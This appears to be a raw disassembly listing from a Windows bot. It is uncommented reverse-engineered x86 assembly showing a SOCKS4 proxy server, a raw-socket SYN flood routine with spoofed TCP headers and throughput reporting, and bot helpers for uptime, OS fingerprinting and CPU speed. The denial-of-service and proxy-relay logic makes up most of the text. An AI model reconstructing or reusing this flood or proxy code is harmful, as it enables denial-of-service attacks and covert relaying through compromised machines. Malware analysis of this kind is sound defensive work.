		mov	[ebp+74h+var_5D8], eax
		imul	esi, 234h
		mov	ecx, dword_43B24C[esi]
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_5D8]
		push	eax
		push	ebx
		mov	[ebp+74h+arg_0], edi
		mov	[ebp+74h+var_C], 5
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_5D4], ecx
		call	dword_43A448	; select
		test	eax, eax
		jnz	short loc_412255
		push	dword_43B24C[esi]
		jmp	loc_4123FD
; ---------------------------------------------------------------------------


loc_412255:				; CODE XREF: sub_4121E2+66j
		push	ebx
		push	408h
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43B24C[esi]
		call	dword_43A304	; recv
		test	eax, eax
		jle	loc_4123F7
		cmp	[ebp+74h+var_4D4], 4
		jnz	loc_4123F7
		cmp	[ebp+74h+var_4D3], 1
		jnz	loc_4123F7
		cmp	[ebp+74h+var_48], bl
		jz	loc_41232B
		lea	eax, [ebp+74h+var_48]
		lea	edi, [ebp+74h+var_4CC]


loc_4122A2:				; CODE XREF: sub_4121E2+DCj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_4122C4
		cmp	cl, bl
		jz	short loc_4122C0
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_4122C4
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		cmp	cl, bl
		jnz	short loc_4122A2


loc_4122C0:				; CODE XREF: sub_4121E2+CAj
		xor	eax, eax
		jmp	short loc_4122C9
; ---------------------------------------------------------------------------


loc_4122C4:				; CODE XREF: sub_4121E2+C6j
					; sub_4121E2+D4j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4122C9:				; CODE XREF: sub_4121E2+E0j
		cmp	eax, ebx
		jz	short loc_41232B
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_4CC]
		push	eax
		push	offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
		call	sub_401F41
		add	esp, 0Ch
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Dh


loc_4122F2:				; CODE XREF: sub_4121E2+1C0j
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43B24C[esi]
		call	dword_43A438	; send


loc_412317:				; CODE XREF: sub_4121E2+210j
		push	dword_43B24C[esi]
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_412404
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_4121E2+B1j
					; sub_4121E2+E9j
		xor	eax, eax
		lea	edi, [ebp+74h+var_1C]
		stosd
		stosd
		stosd
		stosd
		mov	ax, [ebp+74h+var_4D2]
		push	6
		mov	[ebp+74h+var_1A], ax
		mov	eax, [ebp+74h+var_4D0]
		push	1
		push	2
		mov	[ebp+74h+var_1C], 2
		mov	[ebp+74h+var_18], eax
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_412370
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
		jmp	short loc_41238E
; ---------------------------------------------------------------------------


loc_412370:				; CODE XREF: sub_4121E2+17Ej
		push	10h
		lea	ecx, [ebp+74h+var_1C]
		push	ecx
		push	eax
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4123A7
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to	t"...


loc_41238E:				; CODE XREF: sub_4121E2+18Cj
		call	sub_401F41
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Bh
		jmp	loc_4122F2
; ---------------------------------------------------------------------------


loc_4123A7:				; CODE XREF: sub_4121E2+19Ej
		xor	eax, eax
		push	ebx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Ah
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43B24C[esi]
		call	dword_43A438	; send
		push	dword_43B24C[esi]
		push	[ebp+74h+var_4]
		call	sub_4120E5
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_4]
		call	dword_43A4B0	; closesocket
		jmp	loc_412317
; ---------------------------------------------------------------------------


loc_4123F7:				; CODE XREF: sub_4121E2+8Ej
					; sub_4121E2+9Bj ...
		push	dword_43B24C[esi]


loc_4123FD:				; CODE XREF: sub_4121E2+6Ej
		call	dword_43A4B0	; closesocket
		push	edi


loc_412404:				; CODE XREF: sub_4121E2+144j
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4121E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_412412	proc near		; DATA XREF: sub_409806+53BFo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 2D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	2Ch
		pop	ecx
		xor	ebx, ebx
		lea	edi, [ebp+74h+var_D4]
		rep movsd
		push	[ebp+74h+var_40]
		inc	ebx
		mov	[eax+0A8h], ebx
		xor	eax, eax
		lea	edi, [ebp+74h+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_4], 10h
		mov	[ebp+74h+var_14], 2
		call	dword_43A4F4	; ntohs
		push	6
		push	ebx
		xor	esi, esi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		call	dword_43A39C	; socket
		mov	edi, eax
		mov	eax, [ebp+74h+var_3C]
		imul	eax, 234h
		mov	dword_43B24C[eax], edi
		push	10h
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		call	dword_43A47C	; bind
		test	eax, eax
		jnz	loc_4125A3
		push	0Ah
		push	edi
		call	dword_43A4C8	; listen
		test	eax, eax
		jnz	loc_4125A3
		push	[ebp+74h+var_40]
		push	[ebp+74h+var_D4]
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_4124E0
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_405D20
		add	esp, 14h


loc_4124E0:				; CODE XREF: sub_412412+B2j
					; sub_412412+17Aj ...
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401ECD
		pop	ecx
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_43A35C	; accept
		push	[ebp+74h+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		mov	[ebp+74h+var_28], esi
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+74h+var_2D4]
		push	12h
		push	eax
		call	sub_4136B6
		mov	ecx, [ebp+74h+var_3C]
		mov	[ebp+74h+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43B244[eax], ecx
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_D4]
		push	eax
		push	offset sub_4121E2
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+74h+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_412599
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_4124E0
; ---------------------------------------------------------------------------


loc_412591:				; CODE XREF: sub_412412+18Aj
		push	5
		call	dword_422000	; Sleep


loc_412599:				; CODE XREF: sub_412412+15Dj
		cmp	[ebp+74h+var_28], esi
		jz	short loc_412591
		jmp	loc_4124E0
; ---------------------------------------------------------------------------


loc_4125A3:				; CODE XREF: sub_412412+77j
					; sub_412412+88j
		push	edi
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+var_40]
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_4125E0
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_405D20
		add	esp, 14h


loc_4125E0:				; CODE XREF: sub_412412+1B2j
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_3C]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_412412	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_4125FE	proc near		; CODE XREF: sub_41287A+3Cp

var_288		= byte ptr -288h
var_F8		= byte ptr -0F8h
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_A4		= byte ptr -0A4h
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_72		= word ptr -72h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 288h
		and	[ebp+68h+var_B8], 0
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+68h+var_B7]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+68h+var_288]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		test	eax, eax
		jz	short loc_412638
		xor	eax, eax
		jmp	loc_412874
; ---------------------------------------------------------------------------


loc_412638:				; CODE XREF: sub_4125FE+31j
		push	esi
		xor	edi, edi
		inc	edi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		call	dword_43A314	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+68h+var_4], eax
		jz	loc_41286B
		push	4
		lea	ecx, [ebp+68h+var_3C]
		push	ecx
		push	2
		push	esi
		push	eax
		mov	[ebp+68h+var_3C], edi
		call	dword_43A3B8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_412862
		xor	eax, eax
		lea	edi, [ebp+68h+var_54]
		stosd
		stosd
		stosd
		push	ebx
		push	[ebp+68h+arg_8]
		stosd
		mov	[ebp+68h+var_54], 2
		call	dword_43A4F4	; ntohs
		mov	ebx, [ebp+68h+arg_0]
		push	28h
		mov	[ebp+68h+var_52], ax
		mov	[ebp+68h+var_50], ebx
		mov	[ebp+68h+var_30], 45h
		call	dword_43A4F4	; ntohs
		push	[ebp+68h+arg_8]
		mov	[ebp+68h+var_2E], ax
		mov	[ebp+68h+var_2C], 1
		mov	[ebp+68h+var_2A], si
		mov	[ebp+68h+var_28], 80h
		mov	[ebp+68h+var_27], 6
		mov	[ebp+68h+var_26], si
		mov	[ebp+68h+var_20], ebx
		call	dword_43A4F4	; ntohs
		push	4000h
		mov	[ebp+68h+var_1A], ax
		mov	[ebp+68h+var_14], esi
		mov	[ebp+68h+var_10], 50h
		mov	[ebp+68h+var_F], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+68h+var_E], ax
		lea	eax, [ebp+68h+var_5C]
		push	eax
		mov	[ebp+68h+var_A], si
		mov	[ebp+68h+var_8], esi
		call	dword_42203C	; QueryPerformanceFrequency
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	dword_422038	; QueryPerformanceCounter
		push	[ebp+68h+var_58]
		mov	eax, [ebp+68h+arg_C]
		push	[ebp+68h+var_5C]
		cdq
		push	edx
		push	eax
		call	sub_4171B0
		add	eax, [ebp+68h+var_38]
		mov	[ebp+68h+var_C], si
		adc	edx, [ebp+68h+var_34]
		mov	[ebp+68h+var_44], eax
		mov	[ebp+68h+var_40], edx
		jmp	short loc_412755
; ---------------------------------------------------------------------------


loc_412729:				; CODE XREF: sub_4125FE+22Fj
		add	[ebp+68h+var_8], eax
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	dword_422038	; QueryPerformanceCounter
		mov	eax, [ebp+68h+var_34]
		cmp	eax, [ebp+68h+var_40]
		jg	loc_41285E
		jl	short loc_412750
		mov	eax, [ebp+68h+var_38]
		cmp	eax, [ebp+68h+var_44]
		jnb	loc_41285E


loc_412750:				; CODE XREF: sub_4125FE+144j
		and	[ebp+68h+var_C], 0


loc_412755:				; CODE XREF: sub_4125FE+129j
		call	sub_41699A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A4F4	; ntohs
		mov	[ebp+68h+var_1C], ax
		call	sub_41699A
		call	sub_41699A
		push	eax
		call	dword_43A4F4	; ntohs
		push	[ebp+68h+arg_4]
		movzx	eax, ax
		mov	[ebp+68h+var_18], eax
		call	dword_43A4CC	; ntohl
		inc	[ebp+68h+arg_4]
		and	[ebp+68h+var_74], 0
		mov	esi, eax
		push	14h
		mov	[ebp+68h+var_24], esi
		mov	[ebp+68h+var_78], ebx
		mov	[ebp+68h+var_73], 6
		call	dword_43A4F4	; ntohs
		push	8
		pop	ecx
		mov	[ebp+68h+var_7C], esi
		mov	[ebp+68h+var_72], ax
		push	5
		lea	esi, [ebp+68h+var_7C]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		pop	ecx
		lea	eax, [ebp+68h+var_B8]
		push	34h
		lea	esi, [ebp+68h+var_1C]
		lea	edi, [ebp+68h+var_98]
		push	eax
		rep movsd
		call	sub_4088A8
		push	5
		pop	ecx
		push	5
		lea	esi, [ebp+68h+var_30]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		mov	[ebp+68h+var_C], ax
		pop	ecx
		lea	esi, [ebp+68h+var_1C]
		lea	edi, [ebp+68h+var_A4]
		rep movsd
		xor	eax, eax
		lea	edi, [ebp+68h+var_90]
		stosd
		lea	eax, [ebp+68h+var_B8]
		push	28h
		push	eax
		call	sub_4088A8
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+68h+var_26], ax
		lea	eax, [ebp+68h+var_54]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp+68h+var_B8]
		push	eax
		push	[ebp+68h+var_4]
		lea	esi, [ebp+68h+var_30]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		call	dword_43A36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_412729
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+68h+var_F8]
		push	offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>."
		push	eax
		call	sub_416905
		lea	eax, [ebp+68h+var_F8]
		push	eax
		call	sub_401ECD
		add	esp, 10h
		xor	esi, esi
		jmp	short loc_412861
; ---------------------------------------------------------------------------


loc_41285E:				; CODE XREF: sub_4125FE+13Ej
					; sub_4125FE+14Cj
		mov	esi, [ebp+68h+var_8]


loc_412861:				; CODE XREF: sub_4125FE+25Ej
		pop	ebx


loc_412862:				; CODE XREF: sub_4125FE+74j
		push	[ebp+68h+var_4]
		call	dword_43A4B0	; closesocket


loc_41286B:				; CODE XREF: sub_4125FE+58j
		call	dword_43A4BC	; WSACleanup
		mov	eax, esi
		pop	esi


loc_412874:				; CODE XREF: sub_4125FE+35j
		pop	edi
		add	ebp, 68h
		leave
		retn
sub_4125FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41287A	proc near		; CODE XREF: sub_4128D2+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40873C
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_416C92
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_416C92
		mov	edi, eax
		call	sub_41699A
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4125FE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4128C3
		inc	eax


loc_4128C3:				; CODE XREF: sub_41287A+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41287A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128D2	proc near		; DATA XREF: sub_409806+2D07o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_41287A
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)."
		push	eax
		call	sub_416905
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_41294F
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_405D20
		add	esp, 14h


loc_41294F:				; CODE XREF: sub_4128D2+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_401ECD
		push	[ebp+var_10]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4128D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41296D	proc near		; CODE XREF: start+74p
					; sub_409806+4D21p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42201C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		mov	esi, offset dword_480D24
		push	esi
		call	sub_416B5D
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_41296D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_4129C0	proc near		; CODE XREF: sub_403DEF+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 94h
		push	esi
		lea	eax, [ebp+78h+var_94]
		push	eax
		xor	esi, esi
		mov	[ebp+78h+var_94], 94h
		call	dword_422120	; GetVersionExA
		test	eax, eax
		jz	short loc_412A30
		cmp	[ebp+78h+var_90], 4
		jnz	short loc_412A12
		cmp	[ebp+78h+var_8C], esi
		jnz	short loc_412A00
		cmp	[ebp+78h+var_84], 1
		jnz	short loc_4129F5
		inc	esi


loc_4129F5:				; CODE XREF: sub_4129C0+32j
		cmp	[ebp+78h+var_84], 2
		jnz	short loc_412A30
		xor	esi, esi
		inc	esi
		jmp	short loc_412A30
; ---------------------------------------------------------------------------


loc_412A00:				; CODE XREF: sub_4129C0+2Cj
		cmp	[ebp+78h+var_8C], 0Ah
		jnz	short loc_412A0A


loc_412A06:				; CODE XREF: sub_4129C0+5Bj
		push	2
		jmp	short loc_412A2F
; ---------------------------------------------------------------------------


loc_412A0A:				; CODE XREF: sub_4129C0+44j
		cmp	[ebp+78h+var_8C], 5Ah
		jnz	short loc_412A30
		jmp	short loc_412A23
; ---------------------------------------------------------------------------


loc_412A12:				; CODE XREF: sub_4129C0+27j
		cmp	[ebp+78h+var_90], 5
		jnz	short loc_412A30
		cmp	[ebp+78h+var_8C], esi
		jz	short loc_412A06
		cmp	[ebp+78h+var_8C], 1
		jnz	short loc_412A27


loc_412A23:				; CODE XREF: sub_4129C0+50j
		push	3
		jmp	short loc_412A2F
; ---------------------------------------------------------------------------


loc_412A27:				; CODE XREF: sub_4129C0+61j
		cmp	[ebp+78h+var_8C], 2
		jnz	short loc_412A30
		push	7


loc_412A2F:				; CODE XREF: sub_4129C0+48j
					; sub_4129C0+65j
		pop	esi


loc_412A30:				; CODE XREF: sub_4129C0+21j
					; sub_4129C0+39j ...
		mov	eax, esi
		pop	esi
		add	ebp, 78h
		leave
		retn
sub_4129C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A38	proc near		; CODE XREF: sub_412AEE+240p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_412A40:				; CODE XREF: sub_412A38+2Fj
					; sub_412A38+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_422000	; Sleep
		rdtsc
		push	0
		sub	eax, esi
		push	edi
		sbb	edx, ebx
		push	edx
		push	eax
		call	sub_418480
		mov	esi, edx
		test	esi, esi
		mov	ebx, eax
		ja	short loc_412A40
		jb	short loc_412A6F
		cmp	ebx, edi
		ja	short loc_412A40


loc_412A6F:				; CODE XREF: sub_412A38+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_418400
		mov	ecx, edx
		push	64h
		xor	edx, edx
		test	ecx, ecx
		mov	edi, eax
		pop	eax
		ja	short loc_412AE2
		jb	short loc_412A8E
		cmp	edi, 50h
		jnb	short loc_412A93


loc_412A8E:				; CODE XREF: sub_412A38+4Fj
		push	4Bh
		pop	eax
		xor	edx, edx


loc_412A93:				; CODE XREF: sub_412A38+54j
		test	ecx, ecx
		ja	short loc_412AE2
		jb	short loc_412A9E
		cmp	edi, 47h
		jnb	short loc_412AA3


loc_412A9E:				; CODE XREF: sub_412A38+5Fj
		push	42h
		pop	eax
		xor	edx, edx


loc_412AA3:				; CODE XREF: sub_412A38+64j
		test	ecx, ecx
		ja	short loc_412AE2
		jb	short loc_412AAE
		cmp	edi, 37h
		jnb	short loc_412AB3


loc_412AAE:				; CODE XREF: sub_412A38+6Fj
		push	32h
		pop	eax
		xor	edx, edx


loc_412AB3:				; CODE XREF: sub_412A38+74j
		test	ecx, ecx
		ja	short loc_412AE2
		jb	short loc_412ABE
		cmp	edi, 26h
		jnb	short loc_412AC3


loc_412ABE:				; CODE XREF: sub_412A38+7Fj
		push	21h
		pop	eax
		xor	edx, edx


loc_412AC3:				; CODE XREF: sub_412A38+84j
		test	ecx, ecx
		ja	short loc_412AE2
		jb	short loc_412ACE
		cmp	edi, 1Eh
		jnb	short loc_412AD3


loc_412ACE:				; CODE XREF: sub_412A38+8Fj
		push	19h
		pop	eax
		xor	edx, edx


loc_412AD3:				; CODE XREF: sub_412A38+94j
		test	ecx, ecx
		ja	short loc_412AE2
		jb	short loc_412ADE
		cmp	edi, 0Ah
		jnb	short loc_412AE2


loc_412ADE:				; CODE XREF: sub_412A38+9Fj
		xor	eax, eax
		xor	edx, edx


loc_412AE2:				; CODE XREF: sub_412A38+4Dj
					; sub_412A38+5Dj ...
		sub	eax, edi
		sbb	edx, ecx
		add	eax, ebx
		pop	edi
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_412A38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_412AEE	proc near		; CODE XREF: sub_409806+4F18p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 7E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+70h+var_CC]
		push	eax
		mov	[ebp+70h+var_4], 422B0Ah
		mov	[ebp+70h+var_CC], 94h
		call	dword_422120	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+70h+var_C8], 4
		jnz	short loc_412B5F
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_412B41
		cmp	[ebp+70h+var_BC], 1
		jnz	short loc_412B2E
		mov	[ebp+70h+var_4], offset	a95 ; "95"


loc_412B2E:				; CODE XREF: sub_412AEE+37j
		cmp	[ebp+70h+var_BC], 2
		jnz	loc_412BC5
		mov	[ebp+70h+var_4], offset	aNt ; "NT"
		jmp	short loc_412B9C
; ---------------------------------------------------------------------------


loc_412B41:				; CODE XREF: sub_412AEE+31j
		cmp	[ebp+70h+var_C4], 0Ah
		jnz	short loc_412B50
		mov	[ebp+70h+var_4], offset	a98 ; "98"
		jmp	short loc_412B96
; ---------------------------------------------------------------------------


loc_412B50:				; CODE XREF: sub_412AEE+57j
		cmp	[ebp+70h+var_C4], 5Ah
		jnz	short loc_412B8F
		mov	[ebp+70h+var_4], offset	aMe_0 ;	"ME"
		jmp	short loc_412B96
; ---------------------------------------------------------------------------


loc_412B5F:				; CODE XREF: sub_412AEE+2Cj
		cmp	[ebp+70h+var_C8], 5
		jnz	short loc_412B8F
		cmp	[ebp+70h+var_C4], ebx
		jnz	short loc_412B73
		mov	[ebp+70h+var_4], offset	a2k ; "2K"
		jmp	short loc_412B96
; ---------------------------------------------------------------------------


loc_412B73:				; CODE XREF: sub_412AEE+7Aj
		cmp	[ebp+70h+var_C4], 1
		jnz	short loc_412B82
		mov	[ebp+70h+var_4], offset	aXp_0 ;	"XP"
		jmp	short loc_412B96
; ---------------------------------------------------------------------------


loc_412B82:				; CODE XREF: sub_412AEE+89j
		cmp	[ebp+70h+var_C4], 2
		mov	[ebp+70h+var_4], offset	a2003 ;	"2003"
		jz	short loc_412B96


loc_412B8F:				; CODE XREF: sub_412AEE+66j
					; sub_412AEE+75j
		mov	[ebp+70h+var_4], offset	a??? ; "???"


loc_412B96:				; CODE XREF: sub_412AEE+60j
					; sub_412AEE+6Fj ...
		cmp	[ebp+70h+var_BC], 2
		jnz	short loc_412BC5


loc_412B9C:				; CODE XREF: sub_412AEE+51j
		cmp	[ebp+70h+var_B8], bl
		jz	short loc_412BC5
		lea	eax, [ebp+70h+var_B8]
		push	eax
		push	[ebp+70h+var_4]
